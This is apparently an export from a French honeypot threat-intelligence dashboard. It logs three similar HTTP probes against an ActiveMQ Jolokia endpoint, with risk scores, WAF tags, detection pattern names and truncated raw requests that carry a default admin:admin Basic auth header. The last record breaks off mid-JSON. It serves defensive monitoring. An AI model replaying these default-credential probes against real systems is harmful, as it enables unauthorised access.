|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
